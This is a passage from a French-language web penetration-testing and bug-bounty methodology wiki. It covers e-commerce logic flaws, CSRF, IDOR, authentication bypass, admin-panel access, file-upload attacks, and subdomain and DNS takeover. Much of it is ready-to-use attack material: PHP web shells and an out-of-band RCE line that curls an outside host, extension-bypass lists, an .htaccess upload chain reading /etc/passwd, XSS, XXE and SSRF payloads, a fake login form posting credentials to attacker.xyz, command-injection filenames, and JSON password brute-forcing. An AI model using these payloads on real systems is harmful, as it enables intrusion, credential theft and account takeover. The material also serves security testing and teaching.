* S'il y a un coût supplémentaire comme une taxe/quelque chose, changez-le en montant négatif qui pourrait réduire le prix total du produit.
* Si vous avez 2 coupons de réduction et que la vérification n'est faite qu'une seule fois, alternez entre les deux coupon pour vérifier si vous ne pouvez pas utiliser plusieurs fois le même coupon.

## CSRF

Une bonne méthodologie pour identifier les vulnérabilités CSRF serait de découvrir tous les points de terminaison à travers lesquels l'application initie et exécute des actions, et d'appliquer des tests *en* créant un formulaire html pour une demande post-basée ou une URL pour une demande basée sur un GET. *Astuce : Vous pouvez utiliser le générateur BurpSuite CSRF POC pour votre facilité*

Scénarios:

* CSRF sur l'ajout de produit au panier
* CSRF lors de la suppression d'un produit du panier
* CSRF sur le changement d'adresse de la victime
* CSRF lors de la suppression de la carte-cadeau/coupon appliqué

## IDOR

Les références directes d'objet non sécurisées ou IDOR se produisent lorsqu'une application reçoit une entrée de l'utilisateur et l'utilise pour récupérer un objet interne tel qu'un fichier ou une clé de base de données sans effectuer une autorisation suffisante. Dans ces cas, l'attaquant peut alors modifier les références pour accéder à des données non autorisées.

Exemple: on a une url du type:

\*\*<https://target.com/cart?userId=10**&#x20>;

Le site cible peut être vulnérable si en changeant son userId de 10 à 15 par exemle l'attaquant peut accéder au panier du client ayant le userId 15.

Scénarios:

* une IDOR permet à un attaquant d'afficher les informations de commande d'une autre personne.
* une IDOR permet de supprimer des éléments du panier d'un autre utilisateur.
* une IDOR permet d'afficher les données personnelles/sensibles d'un autre utilisateur (adresse, carte de crédit, etc).

## Clickjacking

Le détournement de clic est une technique malveillante consistant à inciter un utilisateur à cliquer sur quelque chose de différent de ce que l'utilisateur perçoit - l'utilisateur croit qu'il interagit avec un site Web de confiance mais interagit en fait avec une ressource contrôlée par l'attaquant. En un mot, cela peut être décrit comme incitant un utilisateur à cliquer sur quelque chose de différent de ce que l'utilisateur perçoit, révélant potentiellement des informations confidentielles.

Pour tester si le site cible est vulnérable au clicjacking vous pouvez utiliser le site <https://clickjacker.io/> ou clickbandit sur l'outil burp suite.

Scénarios:

* Clickjacking lors de la mise à jour de la page nom/adresse, un attaquant peut inciter la victime à mettre à jour l'adresse de livraison à l'adresse de l'attaquant.
* Clickjacking sur la page de paiement, un attaquant peut inciter l'utilisateur à acheter des articles à son insu.
* Clickjacking sur l'ajout ou la suppression de produits, Un attaquant peut inciter la victime à ajouter ou supprimer des produits dans le panier.

## Manipulation de réponse HTTP

La manipulation de la réponse signifie manipuler la réponse du serveur à notre navigateur. Dans de nombreux cas, cela peut être très utile pour les tests car cela peut entraîner des contournements tels que le contournement d'authentification, le contournement de paiement OTP et bien d'autres. Cela peut être facilement testé en examinant les réponses de l'application Web tout en effectuant une validation.

Exemples:

"paid":"false"    <mark style="color:red;">paiement rejeté</mark>

"paid":"true"     <mark style="color:green;">paiement accepté</mark>

403 <mark style="color:red;">Forbidden</mark>

200 <mark style="color:green;">OK</mark>

## Cartes de test (Stripe)

Si le mode test de stripe n'a pas été désactivé par les développeurs, il est possible d'utiliser une fausse carte de crédit pour souscrire à un abonnement par exemple.

ressource: <https://stripe.com/docs/testing>

## Carte expirée accepté (Réservations)

Certaines fonctions de paiement notamment celles liés à des réservation permettent parfois d'effectuer des réservations sans vérifier la date d'expiration de la carte utilisée.

## Transmission en clair de données sensibles

Certaines applications transmettent des mots de passe et d'autres données sensibles sur des connexions non cryptées, ce qui les rend vulnérables à l'interception. Pour exploiter cette vulnérabilité, un attaquant doit être correctement positionné pour espionner le trafic réseau de la victime. Ce scénario se produit généralement lorsqu'un client communique avec le serveur via une connexion non sécurisée telle qu'un réseau Wi-Fi public ou un réseau d'entreprise ou domestique partagé avec un ordinateur compromis.

Vous pouvez utiliser wiershark ou un outil d'analyse de trafic similaire pour capturer le trafic réseau de l'ensemble de votre processus d'achat. Si vous voyez des données sensibles telles que les détails de votre carte de crédit ou votre adresse, elles sont transmises dans le protocole http non crypté et sont visibles en texte clair.

Il y a de fortes chances que vos données soient divulguées car les données seront enregistrées dans de nombreux endroits comme le serveur du FAI, les journaux du serveur d'application, tout service VPN tiers, etc.


# Broken authentication / register

## Connexion avec Google

étapes:

* Aller dans connexion avec google
* Remplir les informations
* Intercepter la requête avec Burp Suite
* Decoder la signature qui est en base64
* Changer l'email et réencoder la nouvelle signature
* Se connecter avec la nouvelle signature
* Si cette technique fonctionne vous devriez être connecté avec une fausse adresse mail

## Longue chaîne de caractères pour bypass la vérification

* Interface d'administration lorsqu'on se connecte avec email interne
* Enregistrez vous avec un email très long.

Exemple:

<very-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-stringvery-long-string@mail.com>

* Dans "mon compte", regardez si l'email a été coupé à un point.
* Si c'est le cas, modifiez votre email pour qu'il soit coupé exactement à la fin du préfix de l'email cible.

{% hint style="warning" %}
Pour que cela fonctionne, le site doit ne pas faire de vérification au changement d'email ce qui est rare.
{% endhint %}

## Remplacement d'utilisateur existant

Le remplacement d'utilisateur existant se produit lorsqu'une application nous permet de nous inscrire avec la même adresse e-mail, nom d'utilisateur ou numéro de téléphone plusieurs fois. Cela peut avoir des conséquences critiques en fonction du type d'attaque effectuée.

étapes:

* Créez un premier compte dans l'application avec un e-mail et un mot de passe.
* Déconnectez-vous du compte et créez un autre compte avec le même e-mail et un mot de passe différent.
* Vous pouvez même essayer des variantes de l'e-mails dans certains cas, exemple: <target@gmail.com> en <TarGet@gmail.com>.
* Si vous arrivez à vous connecter avec le nouveau mot de passe alors la cible est vulnérable.

## XSS

Charge utile pour le champ Nom d'utilisateur :&#x20;

**\<img src=x onerror=alert(1)>**

\
Charge utile pour le champ E-mail:&#x20;

**">\<svg/onload=confirm(1)>" @gmail.com**

## **Rate limit**

S'il n'y a pas de limitation de débit sur la page d'inscription, des utilisateurs malveillants peuvent générer des centaines et des milliers de faux comptes qui conduisent à remplir la base de données de l'application avec de faux comptes, ce qui peut avoir un impact sur l'entreprise de plusieurs façons.

Vous pouvez facilement le tester avec Burp Intruder.

* Capturez la demande d'inscription et envoyez-la dans l'Intruder.
* Ajoutez différents e-mails en tant que charge utile.
* Lancez l'Intruder et vérifiez s'il renvoie 200 OK.

## JSON bruteforce

Si la requête de connexion est en json, il est possible de tenter de bruteforce le mot de passe d'un utilisateur comme ceci:

exemple de requête:

```json
{
    "username":"<username>",
    "password":"",
    "":""
}
```

attaque par dictionnaire:

En créant un tableau json contenant les mots de passe à tester on va faire en sorte que chacun d'entre eux soient traités par le serveur en une seule requête ce qui va nous permettre de contourner une éventuelle limite de requête de connexion.

```json
{
    "username":"<username>",
    "password":[
    "1234",
    "1111",
    "0000",
    "password",
    "azerty",
    ...
    ...
    "root"
    ]
}
```

## JSON object injection

```json
{
    "email": {
        "email":1
        }
    "password":"valid password",
}
```

## Authentification basic HTTP

Bien qu'assez ancienne, sa simplicité relative et sa facilité de mise en œuvre signifient que vous pouvez parfois voir l'authentification de base HTTP utilisée. Dans l'authentification de base HTTP, le client reçoit un jeton d'authentification du serveur, qui est construit en concaténant le nom d'utilisateur et le mot de passe, et en le codant en Base64. Ce jeton est stocké et géré par le navigateur, qui l'ajoute automatiquement à l' en-tête `Authorization` de chaque requête suivante comme suit :&#x20;

```
Authorization: Basic base64(username:password)
```

Pour un certain nombre de raisons, cela n'est généralement pas considéré comme une méthode d'authentification sécurisée. Premièrement, cela implique d'envoyer à plusieurs reprises les identifiants de connexion de l'utilisateur à chaque demande. À moins que le site Web n'implémente également HSTS, les informations d'identification des utilisateurs sont susceptibles d'être capturées lors d'une attaque de type "man-in-the-middle".

De plus, les implémentations de l'authentification de base HTTP ne prennent souvent pas en charge la protection contre la force brute. Comme le jeton se compose exclusivement de valeurs statiques, cela peut le rendre vulnérable à la force brute.

L'authentification de base HTTP est également particulièrement vulnérable aux exploits liés à la session, notamment CSRF , contre lesquels elle n'offre aucune protection par elle-même.

Dans certains cas, l'exploitation d'une authentification de base HTTP vulnérable ne peut accorder à un attaquant qu'un accès à une page apparemment inintéressante. Cependant, en plus de fournir une surface d'attaque supplémentaire, les informations d'identification ainsi exposées peuvent être réutilisées dans d'autres contextes plus confidentiels.

## Utiliser le lien de vérification comme lien de réinitialisation de mot de passe

Si le site utilise la même méthode pour générer des tokens de vérification de mot de passe et de réinitialisation de mot de passe il est possible d'utiliser un token de vérification pour prendre le contrôle d'un compte et inversement.

Exemple d'un rapport:

```
https://target.com/user/validate_link?step=account&verify_link=XXXXXX => account verified

supprimer l'étape "step=account".

httsp://target.com/user/validate_link?verify_link=XXXXXXX => password reset
```

## Account takeover via lien de confirmation

* Créer deux utilisateurs (<attacker@mail.xyz> et <victim@mail.xyz>)
* Remplacer l'email de <attacker@mail.xyz> par <attacker2@mail.xyz>
* Un email de confirmation est envoyé à <attacker2@mail.xyz>
* Ouvrir le lien avec le navigateur de la victime
* Vérifier si l'email de la victime a été remplacé par <attacker2@mail.xyz>

## Mindmap

![](/files/4dzVOXmn2LaxHXnq8WpF)


# Panneaux d'administration

Afin d'accéder à un panneau d'administration, plusieurs méthodes d'offrent à nous:

1. Trouver des identifiants ou tokens dans un repo Github ou Gitlab.
2. Trouver une injection blind XSS
3. Passer par des ports ouverts potentiellement inconnus
4. Passer par de la falsification de requête
5. Trouver des identifiants ou tokens hardcodés dans le code source
6. Manipuler la réponse HTTP
7. Changer la méthode d'authentification
8. Exploiter une mauvaise configuration
9. Trouver des identifiants ayant fuités sur des sites tels que IntelX ou Dehashed

## Passer par Github et Gitlab

Github et Gitlab possèdent des [dorks](/osint-recon/manuel-dorks/github-dorks) permettant de faire des recherches avancées sur leur moteur de recherche. Passer par ces dorks permet de ce fait de rechercher des mots clès et de cibler précisément la cible souhaitée.

Pour apprendre comment utiliser ces dorks, veuillez vous reporter à la section ci-dessous:\*

{% content-ref url="/pages/M0JPIkjwBBklwUEDMRar" %}
[Manuel / Dorks](/osint-recon/manuel-dorks)
{% endcontent-ref %}

Vous pourrez aussi retrouver des outils automatisées pouvant vous aider dans cette phase dans la section ci-dessous:

{% content-ref url="/pages/kECyrEGp9WHMCllxoklO" %}
[Leaks](/osint-recon/leaks)
{% endcontent-ref %}

## Passer par une injection Blind XSS

Passer par une blind XSS peut permettre notamment de voler le cookie de session de l'administrateur au moment où il consultera une ressource particulière telle que ces logs par exemple. Il est également courant dans les sites de vente en ligne notamment que les commentaires / feedback envoyés pour un produit doivent être validés par un administrateur ce qui en fait un point d'intérêt pour un attaquant souhaitant usurper la session d'un administrateur.

### Points d'injection:

* Formulaires de contact / feedback / commentaire
* Sondage
* Entrée de mot de passe
* Chat / Forum
* Application de ticketing
* Description d'utilisateur
* Nom d'utilisateur (puis reset de mot de passe)
* Fonctionnalité "d'appel à un expert"
* En-tête "User-Agent:" (Possibilité de Match & Replace de Burp Suite tel que Match=Votre user agent et Replace=">\<script src=lien vers xsshunter ou équivalent>\</script>)

## Passer par des ports ouverts insoupçonnés

Faire l'inventaire des ports ouverts pour une cible données en comptant domaine et sous-domaines peut parfois permettre de mettre la main sur des interfaces de connexion potentiellement oubliés et vieillissants pouvant être très facilement contournés soit par l'usage d'identifiant par défauts ou par des identifiants hardcodés etc...

Les étapes à suivre sont donc les suivantes:

1. Enumération de sous-domaines.
2. Scan de ports de la liste des sous-domaines.
3. Listage des interface de connexion.
4. Tester des wordlists de mots de passes simples / par défaut sur les formulaire de connexion.
5. Tenter de bypass l'authentification avec des SQLi, LDAP injection etc.
6. Tenter de trouver des identifiants hardcodés dans le code source.
7. Tenter de trouver des exploits pouvant vous permettre de passer au travers du mechanisme d'authentification.

## Passer par la falsification de requête et la navigation forcée

Pour cela, on va dans un premier temps utiliser des outils tels que gobuster pour fuzz les repertoires du site cible et essayer d'accéder directement au répertoire souhaiter sans passer par celui s'occupant de l'authentification (Vulnérabilité présente notamment dans les sites très anciens).&#x20;

Exemple:

On a une page de connexion à l'url "<https://target.com/admin/>" et on sait qu'il y a une nommée "control.php" à l'url "<https://target.com/admin/dashboard/control.php>" alors au lieu de passer par la première url on entre directement sur la page <https://target.com/admin/dashboard/control.php>.

Autre possibilité, falsifier la requête. Pour cela, il y a plusieurs façon de falsifier une requête et je vous invite à vous rendre dans la section ci-dessous pour en apprendre d'avantage:

{% content-ref url="/pages/yYxuRNW0pBLp0ypO72hZ" %}
[Bypass](/pentest-web/bypass)
{% endcontent-ref %}

## Passer par de l'analyse statique

L'analyse du code source peut également parfois permettre de découvrir des vulnérabilités dans les mécanismes d'authentification et/ou de trouver parfois même des identifiants, tokens, secrets, endpoints etc pouvant permettre d'avoir comme finalité l'accès au panneau d'administration de la cible.

Pour découvrir l'analyse statique, veuillez vous reporter à la section du même nom:

{% content-ref url="/pages/QqIBc7LpI1uUawCOI9gj" %}
[Analyse statique](/pentest-web/analyse-statique)
{% endcontent-ref %}

### Passer la manipulation de réponse

Changer la réponse HTTP de 403 à 200 peut dans certains cas permettre de faire croire au serveurs que nous avons le droit d'accéder au panneau d'administration alors même que nous ne nous somme pas authentifié.

Pour intercepter la réponse HTTP dans burp:

Proxy -> Options -> Intercept Server Responses


# Upload features

## Outils / Ressources

Liste perso: <https://github.com/mathis2001/Files-upload>

### GhostInThePDF

GhostInThePDF est un outil permettant d'intégrer du code PostScript dans des fichiers PDF pour exploiter le traitement des PDF faient par GhostScript.

Utilisation:

*`$ ghostinthepdf exploit.ps example.pdf`*

Ressource: <https://github.com/neex/ghostinthepdf>

### malicious-pdf

malicious-pdf est un outil permettant de generer plusieurs fichiers PDF contenant un canary de votre choix.

Utilisation:

*`$ python3 malicious-pdf.py https://your-burp-collab.com`*

Ressource: <https://github.com/jonaslejon/malicious-pdf>

### JS2PDFInjector

JS2PDFInjector est un outil permettant d'injecter facilement du code javascript dans un fichier PDF.

Utilisation:

*`$ java -jar JS2PDFInjector.jar <PDF FILE> <JS FILE>`*

Ressource: <https://github.com/cornerpirate/JS2PDFInjector>

## Web Shell upload

L'exécution de code à distance est l'une des attaques les plus intéressantes qui viennent à l'esprit chaque fois qu'il existe une fonctionnalité de téléchargement de fichiers. Il existe plusieurs façons d'exécuter une exécution de code avec des fichiers malveillants, l'une des plus courantes consiste à télécharger un shell et à obtenir un accès supplémentaire.

Simple shell PHP pour RCE:

```php
<?php system($_GET['cmd']);?>
```

OOB RCE:

```php
<?php system('curl https://your.burp.collab.com -d data=$(id)");?>
```

Information disclosure:

```php
<?php phpinfo(); ?>
```

Le but est d'essayez de télécharger ce code avec l'extension .php et essayez de localiser et de récupérer le fichier php à partir de l'application. Dans l'url du fichier, vous pouvez ajouter le paramètre 'cmd' avec lequel vous pouvez entrer des commandes.

Bien sûr aujourd'hui il existe énormément de façon de se protéger de ce type d'attaque et tout autant de manières de contourner ces protections.

### Contourner les vérifications d'extension

```
# Avec des majuscules
file.pHp
file.Php
...

# Avec des caractères spéciaux
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....

# + Double - Triple extension 
file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg
```

Akamai WAF bypass: cmd.jpg.aspx<mark style="color:red;">.</mark> (Avec un point au bout)

Il est également possible de changer le type MIME de l'image directement dans la requête http avec burp suite.

### Contournement via normalisation

?file===shell.php

### Directory traversal

Vous pouvez aussi essayer de changer le nom du fichier uploadé pour du directory traversal.

Content-Disposition: form-data; name="avatar"; filename="exploit.php"

Content-Disposition: form-data; name="avatar"; filename="**../**&#x65;xploit.php"

Content-Disposition: form-data; name="avatar"; filename="**..%2f**exploit.php"

### Utiliser .htaccess

le fichier .htaccess permet dans les serveurs HTTP Apache de modifier les paramètres de sécurité de ceux-ci. Dans l'exemple ci-dessous, nous allons voir qu'il est parfois possible d'uploader un faux fichier .htaccess contenant des configurations malveillantes dans un contexte de file upload pour permettre d'uploader un fichier .php en utilisant une extension qui ne serait pas blacklisté.

Etapes:

* Interception d'une fonction d'upload

Exemple:

```
POST /my-account/avatar HTTP/1.1
Host: target.com
...
...
...

------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="avatar"; filename="image.jpeg"
Content-Type: image/jpeg

content
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="user"

user
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="csrf"

MkUW5fzHhpMECD7W2TxGcoGrJF1O10JV
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j--
```

* Upload du faux fichier .htaccess

```
POST /my-account/avatar HTTP/1.1
Host: target.com
...
...
...

------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: plain/text

AddType application/x-httpd-php .test  #Si on utilise une extension .test elle sera considéré comme du php
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="user"

user
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="csrf"

MkUW5fzHhpMECD7W2TxGcoGrJF1O10JV
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j--
```

* Upload du fichier "php" avec l'extension configurée.

```
POST /my-account/avatar HTTP/1.1
Host: target.com
...
...
...

------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="avatar"; filename="shell.test"
Content-Type: image/jpeg

<?php echo file_get_contents('../../../etc/passwd'); ?>
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="csrf"

MkUW5fzHhpMECD7W2TxGcoGrJF1O10JV
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j--
```

### Payload dans les données EXIF

On peut utiliser l'outil exiftool pour modifier ces données par exemple.

`$ exiftool -Comment="<?php echo file_get_contents('/home/carlos/secret'); ?>" <YOUR-INPUT-IMAGE>.jpg -o secret.php`

#### Site

<https://www.metabaseq.com/imagemagick-zero-days/>

<br>

## XSS

Un téléchargement de fichier est une opportunité sérieuse de trouver des XSS vers une application Web.

A tester:

* XSS via le nom de fichier

Exemple **">\<img src=x onerror=alert(document.domain)>.jpg**

* XSS via les métadonnées

En utilisant exiftool, il est possible de modifier les métadonnées EXIF ​​qui peuvent conduire à une réflexion quelque part :  &#x20;

Exemple:

*`$ exiftool -Author="><img src=x onerror=alert(document.domain)>image.jpg`*

* XSS via le fichier SVG

Si l'application permet le téléchargement d'une extension de fichier SVG (qui est également un type d'image), un fichier avec le contenu suivant peut être utilisé pour déclencher un XSS :

`<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>`

* &#x20;Blind XSS via SVG
* XSS via PDF files upload

{% embed url="<https://github.com/luigigubello/PayloadsAllThePDFs>" %}

#### XSS via fichier média

le format video/mp2t est un format qui peut être utilisé pour exécuter du code HTML sur Safari et Chrome.

{% embed url="<https://bugcrowd.com/disclosures/d5f4aa80-77da-49bb-a259-afe23b6bfa0a/authentication-bypass-in-the-rest-api-via-xss-on-safari-and-chrome-ios-iphone-only>" %}

## SSRF

Server-Side Request Forgery est l'une des vulnérabilités de sécurité les plus intéressantes et les plus percutantes. Une fonctionnalité de téléchargement de fichiers qui peut permettre l'utilisation de fichiers tels que des fichiers HTML ou SVG. Il peut s'agir d'une SSRF interne, d'une SSRF de métadonnées cloud ou simplement d'une SSRF externe.

* SSRF via nom de fichier

Essayez d'envoyer l'URL en tant que nom de fichier pour obtenir un blind SSRF, par exemple filename=<https://evil.com/internal/file> . Vous pouvez également essayer de changer type = "fichier" en type = "url" dans une requête.

* SSRF via SVG upload

Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :

`<svg width="200" heightè="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="https://target.com/image.jpg" height="200" width="200" /></svg>`

* SSRF via iframe en html

Essayez de télécharger ce code avec l'extension .html et récupérez le fichier html de l'application pour vérifer:

*\<html>*\
*\<body>*\
*\<iframe src=”<http://evil.com>" width=”500" height=”500">\</iframe>*\
*\</body>*\
*\</html>*

## XXE

### Dans fichier SVG

La fonctionnalité de téléchargement de fichiers ouvre la passerelle pour les entités externes XML, en particulier lorsque l'application accepte les formats de fichiers prenant en charge XML. Le format SVG utilisant XML, un attaquant peut soumettre une image SVG illicite et ainsi atteindre une surface d'attaque cachée pour les vulnérabilités XXE.

Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :&#x20;

```html
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text></svg>
```

### Dans fichiers PPTX, DOCX, XLXS

1. Dézipper le fichier
2. Mettre le payload dans `/word/document.xml`, `/ppt/presentation.xml` ou `/xl/workbook.xml` suivant le type de fichier.
3. Rezipper le fichier (exemple: `$ zip -r document.docx`)

#### Payload

```xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "https://your.burp.collab.com" > ]>
```

## SVG => HTMLi => ATO

Fichier SVG:

```xml
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="https://attacker.xyz/fakelogin.html" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>
```

Créer une iframe intégrant <https://attacker.xyz/fakelogin.html>

PoC page de connexion fakelogin.html:

```html
<h1>Victim login page copy</h1>
<form action="https://attacker.xyz" method="post">
<label for="email">Adresse e-mail:</label>
<input name="email">
<label for="password">Mot de Passe:</label>
<input type="password" name="password">
<input type="submit" value="Connexion"></form>
```

## CSRF

Cross-Site Request Forgery (CSRF) est une attaque qui oblige les utilisateurs authentifiés à soumettre une requête à une application Web contre laquelle ils sont actuellement authentifiés. Il est possible d'effectuer des attaques CSRF sur les fonctionnalité de téléchargement de fichiers en créant un formulaire HTML.

étapes:

* Capturer la demande de formulaire de téléchargement
* Créer un POC avec Burp CSRF POC
* Ouvrir ce fichier HTML POC dans un compte différent lui même dans un navigateur différent
* Voir si le téléchargement du fichier réussit dans un autre compte.

## Fuite de métadonnées Exif

Cela se produit lorsqu'un utilisateur télécharge une image dans le site cible et que les données de métadonnées EXIF ​​​​de l'image téléchargée ne sont pas supprimées. En conséquence, n'importe qui peut obtenir des informations sensibles sur les utilisateurs du site comme leur géolocalisation, les informations sur leur appareil comme le nom de l'appareil, la version, la version du logiciel et du logiciel utilisé, etc.

étapes:

* Uploader une image sur le site cible.
* Télécharger l'image uploadé.
* Vérifier si les métadonnées sont supprimés ou non avec exiftool ou le site <https://aperisolve.fr/>.

## Open redirect via SVG upload

possibilité de créer une charge utile qui redirige les utilisateurs vers un domaine contrôlé par l'attaquant.

même payload que pour SSRF.

## Exploitation avec le nom de fichier

Voici quelques vulnérabilités qui peuvent être exploitées en changeant le nom du fichier. C'est facile à tester et cela vaut la peine de les tester. Vous pouvez changer le nom du fichier en nom suivant pour obtenir les bug respectifs.

Path traversal: **../../../tmp/test.png**

Injection SQL: **sleep(10) — -.jpg**

OS injection: **;sleep 10;.jpg**

DoS: **renomer le nom du fichier avec un pattern très long**

## ZipSlip attack

Une archive peut contenir un lien symbolique. Un lien symbolique est un fichier spécial lié à un autre fichier. En téléchargeant un zip contenant un lien symbolique, et une fois le zip extrait, vous pouvez accéder au lien symbolique pour accéder aux fichiers auxquels vous ne devriez pas avoir accès. Pour ce faire, vous devez faire en sorte que votre lien symbolique pointe vers des fichiers en dehors de la racine Web, par exemple /etc/passwd.

Ces types de problèmes surviennent généralement lorsqu'un développeur autorise l'acceptation d'un fichier zip dans notre fonctionnalité de téléchargement. Lorsqu'un utilisateur télécharge le fichier zip dans l'application, il prend simplement le fichier zip et extrait ses fichiers sans aucune validation.

étapes:

* Créer un lien symbolique vers la ressource souhaité

Exemple: *`$ ln -s ../../../etc/passwd lien.txt`*

* Créer un zip avec le lien symbolique créé

*`$ zip --symlinks exploit.zip lien.txt`*

* Uploader le fichier exploit.zip sur le cite cible et l'ouvrir.

## File Overwrite

L'écrasement de fichier est une attaque intéressante lors du téléchargement du fichier lorsqu'un utilisateur peut contrôler et définir arbitrairement le chemin où le fichier doit être stocké. Cela peut être considéré comme similaire aux attaques Zip Slip et Path Traversal, mais en supposant qu'il est possible de télécharger directement un fichier et de modifier son chemin pour écraser un fichier système existant, cela reste un problème distinct.

étapes:

* Créez n'importe quel fichier système tel que **/etc/passwd.**
* Accédez à la fonctionnalité de téléchargement de fichier et uploader ce fichier tout en capturant la demande avec Burp Suite.

```
# Exemple
POST /upload
Host: target.com
....
other headers
....filename=/etc/passwd&content={file_content}
```

* Modifiez maintenant cette requête en modifiant le **paramètre** de nom de fichier en **../../../../etc/passwd.**

```
POST /upload
Host: target.com
....
other headers
....filename=../../../../etc/passwd&content={file_content}
```

* Si le téléchargement réussit, actualisez l'application et observez s'il y a un mauvais comportement ou un plantage pour confirmer la vulnérabilité.

## Windows ADS

Un flux de données alternatif (ADS) est une fonctionnalité peu connue du système de fichiers NTFS. Il a la capacité de forker des données dans un fichier existant sans changer sa taille de fichier ou sa fonctionnalité. En d'autres termes, ADS permet de cacher un fichier dans un autre.

Exemple:

```
C:> echo Somedata > file.txt
C:> type file.txt
Somedata
C:> type c:\windows\system32\calc.exe > file.txt:calc.exe

C:> start c:\file.txt:calc.exe
```

## Pixel Flood Attack (DoS)

* Aller sur <https://www.resizepixel.com/> et redimensionnez une image en 64250\*64250px.&#x20;
* Accédez à l'application vulnérable ayant la possibilité de télécharger un fichier image.&#x20;
* Téléchargez le fichier généré à partir de "l'étape 1" et observez la réponse du serveur.&#x20;
* Si le serveur met trop de temps à répondre ou si l'application est devenue inaccessible, confirmez avec un autre appareil, si le problème de décalage/accessibilité se produit, l'application est vulnérable à l'attaque par inondation de pixels.

## [Race condition](#race-condition) <a href="#race-condition" id="race-condition"></a>

Tenter de contourner la validation via une race condition.


# Broken Link Hijacking

## Méthodologie

* Rassembler les liens de réseaux sociaux
* Suivre ces liens

Si l'un d'entre eux renvoie vers un compte inconnue (supprimé ou modifié sans avoir été reconfiguré dans la page)

* Créer un compte au nom du lien sur le réseau social en question
* Suivre le lien du site

Si cela fonctionne, le lien redirigera vers le compte que vous avez créé.

## Broken Link Checker

Broken Link Checker ou blc est un outil permettant de vérifier les lien d'un site web à la recherche de broken links.

Exemple d'utilisation:

*`$ blc https://target.com/ -ro`*

ressource: <https://github.com/stevenvachon/broken-link-checker>

## Writeup

<https://mehedishakeel.medium.com/broken-link-hijacking-my-second-finding-on-hackerone-d715b0713fca>


# Prise de contrôle de sous-domaine

### Prise de contrôle de sous-domaine

Méthode 1:

* Lister les sous-domaines de la cible
* utiliser ce one liner pour utiliser dig sur touts les sous domaines trouvés

```bash
cat domains.txt | while read domain;do dig  $domain;done | tee -a digs.txt
```

* Récupérer tous les enregistrements CNAME

```bash
cat digs.txt | grep CNAME
```

* Lister les domaines qui pointent vers un tiers

Exp: sub.target.com CNAME x.aws.com

* Vérifier si ces domaines sont toujours utilisés
* Si ce n'est pas le cas essayer de créer un domaine au nom de celui qui n'est plus actif et regarder si le sous-domaine pointe bien vers celui que vous venez de créer

{% hint style="info" %}
Il est aussi possible d'utiliser un outil automatique tel que subjack ou un template nuclei pour tester les domaines qui ne sont plus utilisés.
{% endhint %}

ressource:

* &#x20;<https://github.com/EdOverflow/can-i-take-over-xyz>
* <https://github.com/punk-security/dnsReaper>
* <https://github.com/haccer/subjack>
* <https://github.com/projectdiscovery/nuclei>
* <https://github.com/projectdiscovery/nuclei-templates>


# Prise de contrôle de DNS

## Ressource

{% embed url="<https://github.com/indianajson/can-i-take-over-dns>" %}

## Dnstrace

Dnstrace est un outil permettant de faire de la résolution DNS avec un output simplifié

Exemple d'utilisation:

*`$ dnstrace -nsonly A target.com`*

ressource: <https://github.com/hakluke/dnstrace>

## Detection

* Utiliser dig ou dnstrace pour relever tous les noms de serveurs utilisés

*`$ dig target.com +trace`*

* Utiliser le repo [can-i-take-over-dns](#ressource) pour trouver des serveurs dans la liste des serveurs vulnérables.
* Vérifier si il(s) renvoie(nt) un **`REFUSED`** ou un **`SERVFAIL`** avec dig:

*`$ dig @nsx.vulnerable.com target.com`*

{% hint style="info" %}
Si le status est **`NOERROR`** alors le serveur n'est pas vulnérable.
{% endhint %}

## Exploitation

Utiliser la partie "Takeover instruction" du tableau du repo [can-i-take-over-dns](#ressource) pour avoir les étapes à suivres.

Cas général:

1. Créer un compte sur le fournisseur de DNS
2. Créer une zone DNS
3. Vérifier le nom de serveur vulnérable
4. Si le nom ne match pas avec un des nom de serveur d'authorité, supprimer la zone DNS et retourner à l'étape 2
5. Créer un DNS record pour le domaine (exp: un record A pointant vers une IP de l'attaquant)
6. Attendre que le changement soit actif (en général 1h ou 2h)


# One liners

## One liners

### Extraction d'URL depuis le code source

```bash
curl "https://target.com/" | grep -oP '(https*://|www\.)[^]*'
```

### Recherche de sous-domaines

```bash
curl 'https://crt.sh/?q=%.target.com&output=json' | jq '.name_value' |sed 's/\"//g' | sed 's/\*\.//g' | sort -u
```

### Recherche de endpoints

```bash
